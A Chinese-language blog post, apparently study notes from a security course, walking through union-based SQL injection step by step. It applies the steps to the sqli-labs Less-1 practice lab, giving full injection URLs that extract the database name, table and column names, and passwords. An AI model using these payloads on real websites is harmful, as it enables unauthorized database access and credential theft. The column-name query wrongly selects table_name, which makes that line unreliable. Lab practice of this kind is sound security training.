sql注入操作流程
1,判断交互方式get/post/http/head。提交的数据在url显示的为get,而没有在url显示的为post。
2,判断数据库的执行语句。数据库类型不同,语句存在差异。
3,构造语句打破闭合。一般为’ ‘’ ‘) ‘’)
4,判断数据列的数量。通过排序函数order by来对某一列进行排序,不出错则含有该列,报错则没有,可以判断出列数。
5,判断页面显示位。通过联合查询union all语句将两个表合并显示在一个表中,列数要求一致。
select * from users union all select 1,2,3 #可以将1,2,3和指定表同时显示,只要将第一个查询不显示,就能把一起显示的数据放在首行显示,一般将第一个查询设置为空即可。
6,利用显示位显示一些信息。可以用一些显示信息的函数代替显示位的数字
用database()可以显示出库名。
7,获取库名后,获取所有表名和相应的列名。
select table_name from information_schema.tables wheretable_schema=‘库名’ #取表名
select table_name from information_schema.columns where table_schema=‘库名’and table_name=‘表名’ #取列名
8,已知表和列,就可以查询到想要的数据。
实验
1,可以得知闭合类型为’
2,可以得知只有3列
3,可以得知显示位只有2,3
4,可知库名为security
5,得知表名
http://192.168.29.130/sqli-labs-master/Less-1/?id=-1’ union all select 1,database(),(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1)–+ #通过修改limit x,1中的x值来决定查看第几个表名,而1表示步长。
6,得知列名
http://192.168.29.130/sqli-labs-master/Less-1/?id=-1’ union all select 1,database(),(select table_name from information_schema.columns where table_schema= ‘security’ and table_name=‘users’ limit 0,1)–+
7,得到表和列后替换简单的sql语句可以查到想要的东西
select password from users limit 0,1
hcie第五天总结sql注入1
最新推荐文章于 2024-10-17 20:40:27 发布